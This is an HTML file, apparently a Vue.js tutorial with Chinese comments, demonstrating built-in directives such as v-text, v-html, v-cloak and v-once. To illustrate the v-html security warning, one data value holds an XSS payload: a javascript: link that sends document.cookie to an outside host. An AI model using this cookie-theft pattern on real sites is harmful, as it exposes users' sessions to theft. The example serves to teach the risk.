<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        /* 给该类中所有带有v-cloak属性的组件隐藏 */
        [v-cloak]{
            display: none;
        }
    </style>
</head>

<body>
    <!-- 
        我们学过的指令：
            v-bind : 单向绑定解析表达式，可简写为 :xxx
            v-model: 双向数据绑定
            v-for  : 遍历数组/对象/字符串
            v-on   : 绑定事件监听
            v-if   : 条件渲染（动态控制节点是否存在）
            v-else : 条件渲染（动态控制节点是否存在）
            v-show : 条件渲染（动态控制节点是否存在）

            v-text : 1. 作用：向其所在的节点中渲染文本内容
                     2. 与插值语法的区别：v-text会替换节点中的内容，{{xxx}}则不会

            v-html : 1. 作用：向指定节点中渲染包含html结构的内容
                     2. 与插值语法的区别：
                        （1） v-html会替换掉节点中的所有内容，{{xxx}}则不会
                        （2） v-html可以识别html结构
                     3.严重注意： v-html有安全性问题
                                    （1）在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
                                    （2）一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上
            v-cloak: 没有值
                        （1）本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
                        （2） 使用css配合v-cloak可以解决网速慢时页面展示不出{{xxx}}的问题
            
            v-once : (1) v-once所在的节点在初次动态渲染后，就视为静态内容了
                     (2) 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
            
            v-pre  : (1) 跳过其所在节点的编译过程
                     (2) 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
     -->
    <div id="root">
        <!-- 插值语法 -->
        <div>插值语法:{{name}}</div><br>
        <!-- v-text：向其所在的节点中渲染文本内容 -->
        <div v-text="str"></div><br>
        <!-- v-html：指定节点中渲染包含html结构的内容 -->
        <div v-html="str2"></div>
        <!-- v-cloak: vue实例创建完毕并接管容器后，会删掉v-cloak属性 -->
        <h2 v-cloak>{{name}}</h2>
        <!-- <script type="text/javascript" src="../js/vue.js"></script> -->

        <!-- v-once -->
        <h2 v-once>初始化的n的值是:{{n}}</h2>
        <h2>当前n的值是:{{n}}</h2>
        <button @click="n++">点我n加1</button>
    </div>

</body>
<script type="text/javascript">

    const vm = new Vue({
        el: '#root',
        data: {
            name: '中国北京长城',
            str:'<h3>你好呀！</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie >兄弟我找到了，快来！</a>',
            n:1
        }
    })
</script>

</html>